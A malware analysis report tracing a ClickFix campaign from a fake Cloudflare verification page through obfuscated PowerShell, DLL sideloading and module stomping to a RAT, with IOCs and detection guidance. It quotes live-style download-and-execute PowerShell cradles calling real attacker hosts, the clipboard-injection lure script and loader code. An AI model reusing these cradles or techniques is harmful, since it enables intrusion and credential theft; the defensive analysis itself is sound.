0. Preface

This sample arrived in a folder named SnappyClient. Do not read too much into the name — nothing in the chain calls itself that, and the operator’s own build strings use two different markers, DidixResearch and GrelixDataset. Treat “SnappyClient” as a filing label, not a family attribution.

The chain is a ClickFix delivery — a fake Cloudflare “verify you are human” page that plants a command on the victim’s clipboard — leading through a heavily-obfuscated PowerShell downloader to a DLL-sideloading kit built around a legitimately-signed application, and finally to a RAT that runs inside the memory of a Microsoft-signed Windows DLL via module stomping.

Two things make it worth writing up. First, the chain is disciplined about signatures: every file that touches disk at the payload stage is either validly signed by a real vendor or is a tiny stub containing almost no code. Second, it took both static reversing and a live detonation to finish it — the C2 was encrypted with a scheme that resisted static recovery and only fell out of process memory after execution.

Static work was done from the shell (PowerShell deobfuscation, PE parsing, Authenticode verification, hand-written decryptors). The dynamic stage was a detonation in an isolated FLARE-VM on a VirtualBox internal network with no route to the internet; no request ever reached the real infrastructure.

C2, up front: sunshinedreamuk.com, recovered from the decrypted implant in memory.

The fake Cloudflare “Verify you are human” ClickFix page. Note the two different Ray IDs — 90b0e54eb8bd5d84 in the input box and 56a4c5299fdetmca in the footer (the latter is not even valid hex) — and the misspelled filename “Challange” in the hosting URL.

1. The Threat at a Glance

AttributeAssessment
Malware typeClickFix delivery → DLL-sideloading loader → RAT / infostealer
DeliveryFake Cloudflare challenge page on Cloudflare R2 storage; clipboard-injected Win+R command
C2sunshinedreamuk.com over HTTP POST (application/x-www-form-urlencoded)
TargetWindows (x86 throughout the loader; x64 final stage)
Signature abuseTrojanised Microsoft-signed DLL (broken Authenticode); sideloading via signed StarBurn app
Evasion320 KB junk-padded PowerShell; runtime-derived keys; API hashing; module stomping into tapisrv.dll; sandbox/connectivity checks
AttributionUnconfirmed. Russian-language comments in the lure’s JavaScript; macOS-built payload archive
ConfidenceHigh for stages 0-6 (directly analyzed); capability profile from decrypted memory

2. Infection Chain Overview

Infection chain: a fake Cloudflare ClickFix page (script.js self-decrypts, plants a clipboard Win+R command) leads through name-obfuscated PowerShell hops to a 320 KB obfuscated downloader, a signed StarBurn app that sideloads unsigned starburn.dll, a trojanised Microsoft mssp7en.dll that module-stomps tapisrv.dll, a three-layer unpack of bindinginfo08.cfg into a 5.3 MB sideloading kit, and a RAT in a hollowed CoreModu.exe beaconing to sunshinedreamuk.com

3. Stage 0 - The ClickFix Web Source (script.js)

The lure page is served from Cloudflare R2 object storage:

hxxps://pub-f14d3e9efe9043f1aa8047e828c193be.r2.dev/Phil-Verify-Cloudflare-Challange-v4-SP.html

R2 hosting gives the operator a valid TLS certificate on a Cloudflare-adjacent name, free hosting, and no domain registration to trace. Note the misspelling Challange in the filename.

The page’s logic lives in script.js (249 KB). It is self-decrypting: the entire HTML body is XOR-encrypted and base64-encoded into a single string, decoded at load time and written into the document.

(function () {
  var _k = "cc505723aea3da49aa86eae1";       // 24-byte ASCII XOR key
  var _d = "X0Jxf3Zja2MkRQlHCQ0K...";          // ~190 KB base64 ciphertext

  function decode(b64, key) {
    var binary = atob(b64);
    var bytes = new Uint8Array(binary.length);
    for (var i = 0; i < binary.length; i++) {
      bytes[i] = binary.charCodeAt(i) ^ key.charCodeAt(i % key.length);
    }
    return new TextDecoder('utf-8').decode(bytes);
  }
  var html = decode(_d, _k);
  document.open(); document.write(html); document.close();
})();

Decoding _d with the key yields a 190 KB fake Cloudflare “Verify you are human” page — the one in the screenshot above — with embedded base64 images and lure text in English, French, Italian and Russian.

The page detects the OS and writes an OS-specific command to the clipboard:

if (isMac) {
  const command = atob("");                    // empty — Windows-only campaign
  navigator.clipboard.writeText(command);
} else {
  const command = atob("cG93ZXJzaGVsbCAtd2kgbWk...");
  navigator.clipboard.writeText(command);      // Windows: the real payload
}

The Windows base64 decodes to the exact clipboard command:

powershell -wi mi $b='aQBlAHgAKAAuACgAJwBpAHIAJwArAFsAcwB0AHIAaQBuAGcAXQAuAEYA
dQBsAGwATgBhAG0AZQBbADUAXQApADEANgAwAC4AMgAwAC4AMQAwADkALgA5ADYALwAyAC4AdAB4AHQAKQA=';
powershell -E $b;AntiBOT Check #ehf32fsdfh

The page also forges a Cloudflare challenge token and injects it into the address bar so the URL looks like a genuine challenge — with the developer’s comments left in Russian:

const timestamp = Math.floor(Date.now() / 1000); // Временная метка
const token = generateToken(80);                 // Основной токен (60 символов)
const random = generateToken(20);                // Дополнительные случайные символы
const param = `__cf_chl_tk=${token}-${timestamp}-1.0.1.1-${random}`;
if (!window.location.search.includes('__cf_chl_tk=')) {
  window.history.replaceState({}, '', currentUrl + '?' + param);
}

Why ClickFix works here: the browser never downloads a file. There is no Mark-of-the-Web, no SmartScreen reputation check, and no download prompt — execution begins in explorer.exe’s Run dialog from a string the page silently placed on the clipboard.

Two authoring tells are visible in the render itself: the page shows two different Ray IDs (90b0e54eb8bd5d84 in the box, 56a4c5299fdetmca in the footer — and the footer value is not valid hexadecimal), and the trailing AntiBOT Check #ehf32fsdfh is padding to make the pasted command look like a token field in the Run dialog.

4. Stage 0-0b - Clipboard to First Download

The clipboard command (-wi mi = -WindowStyle Minimized) base64-decodes (UTF-16LE) to a name-obfuscated Invoke-RestMethod:

iex(.('ir'+[string].FullName[5])160.20.109.96/2.txt)
#         [string].FullName = "System.String"; index 5 = 'm'  →  irm

160.20.109.96/2.txt returns the next hop, which escalates the window from minimized to fully hidden:

start powershell -wi hi -Arg 'iex(&(''I''+({}.GetType().Name[2])+''M'')zusitin.com/f/f3.txt)'
#  {}.GetType().Name = "ScriptBlock"; index 2 = 'r'  →  IrM  →  Invoke-RestMethod

Both hops use the same /f/ path layout on 160.20.109.96 and zusitin.com, suggesting the domain fronts the IP.

5. Stage 1 - The 320 KB Obfuscated Downloader (f3.txt)

f3.txt (SHA256 7b23fa9e…e84fd73) is 319,293 bytes but roughly 99% filler. Junk is emitted as space-separated pseudo-code from a small template pool, interleaved with decoys that mimic the real API calls (sv('$i'), Set-Variable('|'), ((gv(' ') -V))) to poison naive grepping. Only 12 real statements exist, spliced between semicolons, and none appears before file offset 281,745.

The key trick is that the XOR key is never stored in the file — it is derived at runtime:

$ZJUi = (gcm ???t?).Name    # Get-Command wildcard → "write" (alias of Write-Output)

???t? resolves to write; the key is a property of the victim’s PowerShell installation. The 283-byte blob decrypts (5-byte repeating XOR, key write) to the downloader:

Copy-Items -useba http://160.20.109.96/f/PLS2.zip -o $env:Temp\PLS2.zip   # Set-Alias Copy-Items wget
Expand-Archive -Path $env:Temp\PLS2.zip -DestinationPath $env:Temp\Default
start $env:Temp\Default\ToolkitCo.exe

Copy-Items is not a real cmdlet — it is an alias for wget/Invoke-WebRequest, and is itself a high-signal detection artefact.

6. Stage 2 - The Sideloading Kit (PLS2.zip)

PLS2.zip (SHA256 69b4237948…98375e) unpacks flat into %TEMP%\Default\:

FileAuthenticodeRole
ToolkitCo.exeVALIDRenamed legit Rocket Division StarBurn app (Delphi). Clean, abused.
starburn.dllUNSIGNEDTrojanised. Entry point hooked.
mssp7en.dllBROKENGenuine Microsoft speller DLL, patched after signing. Carries the loader.
msvcp_win.dll, ucrtbase.dllVALIDLegitimate CRT, unmodified
bindinginfo08.cfgn/a4.4 MB encrypted payload (entropy 7.98)
guardinit.jsonn/a21 KB encrypted loader block (not JSON)

Every file also ships a __MACOSX/._* resource-fork twin — the archive was built on macOS.

The decisive test is Authenticode. Computing the PE hash by hand (excluding the checksum, the cert data-dir entry, and the cert table; sections in PointerToRawData order) validates three known-good controls and flags mssp7en.dll:

ToolkitCo.exe   sha256  VALID    (control)
msvcp_win.dll   sha256  VALID    (control)
ucrtbase.dll    sha256  VALID    (control)
mssp7en.dll     sha1    BROKEN   embedded d88ee64f… vs computed 1c5144d3…

The DLL was patched in place — size, section count, and the Microsoft certificate blob preserved — so Explorer still shows “Microsoft Corporation” as publisher. Only signature verification catches it.

7. Stage 3-4 - Sideload, Hook, and Module Stomping

ToolkitCo.exe imports starburn.dll from its own directory. That DLL is the only unsigned module and is a ~30-instruction stub whose DllMain entry point is overwritten with a 5-byte jmp into a code cave:

struct { uint32_t rva; uint32_t pad; char *dll; } *c = 0x0046b374;  // {0x1346d, 0, "mssp7en.dll"}
HMODULE h = LoadLibraryA(c->dll);
if (h) ((void(*)(void))((char*)h + c->rva))();   // call into the patched Microsoft DLL

The original DllMain never runs; the payload fires at load time.

Inside mssp7en.dll, the malware overwrote genuine export bodies (SpellerVersion, SpellerInit) with an API-by-hash loader (hash h = h*2 + c, seed 0x0b021bcb; resolved uniquely against 1,411 real kernel32 names). It reads guardinit.json, decrypts it by adding a constant to each dword, and performs module stomping:

p = buf + 0x3c8d;                              // count=6164, delta=0xDC3A0345
for (i=0;i<count;i+=4) *(uint32*)(p+8+i) += delta;   // the decryption
LoadLibraryA("tapisrv.dll");                   // Windows Telephony Service
VirtualProtect(tapisrv+BaseOfCode, 0x16b0, PAGE_EXECUTE_READWRITE, &old);
memcpy(tapisrv+BaseOfCode, payload, 0x16b0);   // stomp shellcode over signed code
VirtualProtect(tapisrv+BaseOfCode, 0x16b0, old, &old);
(tapisrv+BaseOfCode+0xed0)(&args);             // execute stage 5

The decrypted block validates cleanly: count equals the remaining file bytes, the length-prefixed string is tapisrv.dll, and the payload begins 55 8b ec (push ebp; mov ebp,esp).

8. Stage 5 - Unpacking bindinginfo08.cfg

Stage 5 (5,808 bytes of PIC) resolves WinHTTP + RtlDecompressBuffer by hash (h = h*0x1003f + c), then unpacks the 4.4 MB bindinginfo08.cfg in three layers:

  1. PNG-IDAT steganography. The file is a headerless partial PNG — 544 IDAT chunks, one IEND, no signature, no IHDR. The parser walks IDAT chunk framing (a "????"+"IDAT" wildcard search) and concatenates chunk payloads starting at magic 0xEA79A5C6. A 16-byte header follows: {magic, XOR key 0xA5E87301, compressed size, decompressed size}.
  2. 32-bit XOR with the header key.
  3. LZNT1 via RtlDecompressBuffer → exactly 5,336,834 bytes.

The result is not a single executable but a sideloading-kit repository: a config header, eight embedded PEs (including a signed ArcSoft CheckUpdate.exe and a signed MEmu MemuServ.exe), a build manifest listing the whole deployed kit (!ToolkitCo.exe marks the host to run, ~starburn.dll the DLL to sideload), and a 3.84 MB trailing dataset named GrelixDataset. Statically, GrelixDataset resisted decryption (biased byte histogram, ~200-byte record structure, but no recovered transform) — which is where dynamic analysis took over.

9. Stage 6 - Detonation and C2 Recovery

Detonated in an isolated FLARE-VM (VirtualBox internal network, no internet; host-side packet trace; process memory captured with comsvcs MiniDump). The chain ran exactly as predicted: self-install to C:\ProgramData\DidixResearch\, then drop and launch %USERPROFILE%\CoreModu.exe (= the ArcSoft PE) and %APPDATA%\DidixResearch\memu.exe (= the MEmu PE).

No beacon fired — the stage-5 environment/connectivity checks detected the air-gapped box and the implant went dormant, leaving the pcap empty. But the C2 config was decrypted in CoreModu.exe’s memory (the process loaded only 5 modules — a hollowed host for the x64 implant). Dumping and scanning it recovered:

IndicatorValue
C2 domainsunshinedreamuk.com (also .sunshinedreamuk.com)
User-Agentnon-browser; (Windows NT %d.%d.%d) — hardcoded, distinctive
TransportHTTP POST, application/x-www-form-urlencoded, URL built as %s://%s…
Beacon fieldshostname, username, volume serial, IDs 952157883 / 1338380908, token 7e2b7e6470d5fd44b33b40e06a83628c4c3ee40b

The decrypted implant’s strings and imports give the capability profile:

CapabilityEvidence
Command execution / task dispatchcommand (x429), task (x248), execute, powershell, cmd.exe
KeyloggingSetWindowsHookEx, GetAsyncKeyState, key-name table <INSERT> / <BACKSPACE> / <PAGEDOWN>
Screen capture / recordBitBlt, GdiplusStartup, record (x221)
Clipboard theftclipboard (x231)
Credential / cookie / browser theftcredential (x368), password, cookie, browser
Process injectioninject (x86) — matches the hollowed CoreModu
File transferdownload, upload
PersistenceStartup, CreateService

Assessment: a full-featured RAT / infostealer beaconing HTTP to sunshinedreamuk.com.

10. Indicators of Compromise

Network

pub-f14d3e9efe9043f1aa8047e828c193be.r2.dev   (lure host, Cloudflare R2)
160.20.109.96                                  (2.txt, PLS2.zip; /f/ path)
zusitin.com                                    (f3.txt; /f/ path)
sunshinedreamuk.com                            (C2)
User-Agent: non-browser; (Windows NT %d.%d.%d)

Filesystem

%TEMP%\PLS2.zip , %TEMP%\Default\
C:\ProgramData\DidixResearch\                  (self-install, full kit copy)
C:\Users\<user>\CoreModu.exe                   (stage-6 host, = ArcSoft CheckUpdate.exe)
C:\Users\<user>\AppData\Roaming\DidixResearch\memu.exe   (= MEmu MemuServ.exe)

Hashes (SHA256)

script.js            1886cd5b6cbf6296c2e52a1e92035ce6f04bab453be8507f24ebf6e4f6e73624
f3.txt (stage 1)     7b23fa9e7d37b063e3c62021bb27e5e058b1dce4180c636ad5f389643e84fd73
PLS2.zip             69b4237948ac88c62cbf829cb93024675a1619a23f3604f7ef76bbba2c98375e
ToolkitCo.exe        b5f52026101317daec58961904d81ee1ebda06f1313ba2900787c00b2c04bd5f
starburn.dll         8218bda3803fecc05418de4ad951a35673f4a3b51d0ac3584f5a3e4599c6e343
mssp7en.dll          1a279027ff5df2f3f768b3654a36379a89e44502a1767b1015edade36f0cbfa1
bindinginfo08.cfg    051c8da0dc3233b219366c9ad3be7f0c5d0d7ee29a154c2957c791f4c68af66f
guardinit.json       681521a906252a73b14c7a73ba893dc6d38fe1f67a328eb5d8db6ef8b4ff646a

Host / behaviour

Alias "Copy-Items" -> wget (not a real cmdlet)
XOR key derived from (gcm ???t?).Name = "write"
guardinit.json cipher: +0xDC3A0345 per dword at offset 0x3c8d
Module stomping target: tapisrv.dll
Campaign markers: DidixResearch, GrelixDataset
Bot token: 7e2b7e6470d5fd44b33b40e06a83628c4c3ee40b
Microsoft-signed binary with a BROKEN Authenticode hash (mssp7en.dll)
__MACOSX/._* entries in PLS2.zip (macOS-built archive)

11. Detection Opportunities

  1. Microsoft-signed binary with a broken Authenticode hash — the highest-fidelity signal in the chain; worth a standing hunt.
  2. Set-Alias Copy-Items wget (or any alias targeting wget/irm/iwr) in script-block logging.
  3. ClickFix ancestry: explorer.exe → powershell.exe with -EncodedCommand/-E or -WindowStyle Minimized|Hidden; pair with the RunMRU registry key.
  4. Sideload path anomaly: starburn.dll / mssp7en.dll / tapisrv.dll loading from %TEMP% or a user-writable directory.
  5. RWX transition on a loaded module’s code section — VirtualProtect(PAGE_EXECUTE_READWRITE) over tapisrv.dll’s BaseOfCode, followed by a write and a protection restore.
  6. User-Agent non-browser; (Windows NT x.y.z) on egress.
  7. Plain HTTP to a bare IPv4 with no Host domain, fetching .txt/.zip under /f/.

12. MITRE ATT&CK Mapping

TacticTechnique
Initial AccessT1566 Phishing
ExecutionT1204.004 User Execution: Malicious Copy and Paste; T1059.001 PowerShell
Defense EvasionT1027 Obfuscated Files; T1027.007 Dynamic API Resolution; T1140 Deobfuscate/Decode; T1553.002 Code Signing; T1574.001 DLL Hijacking; T1620 Reflective Code Loading (module stomping)
CollectionT1056.001 Keylogging; T1113 Screen Capture; T1115 Clipboard Data
Credential AccessT1555 Credentials from Password Stores; T1539 Web Session Cookies
Command and ControlT1071.001 Web Protocols; T1105 Ingress Tool Transfer

Static reversing done from the shell; the ClickFix script.js was decoded offline. The dynamic stage was a single detonation in an isolated VM with no route to the internet — no request reached the live infrastructure, and the C2 domain was read from process memory, not from a beacon.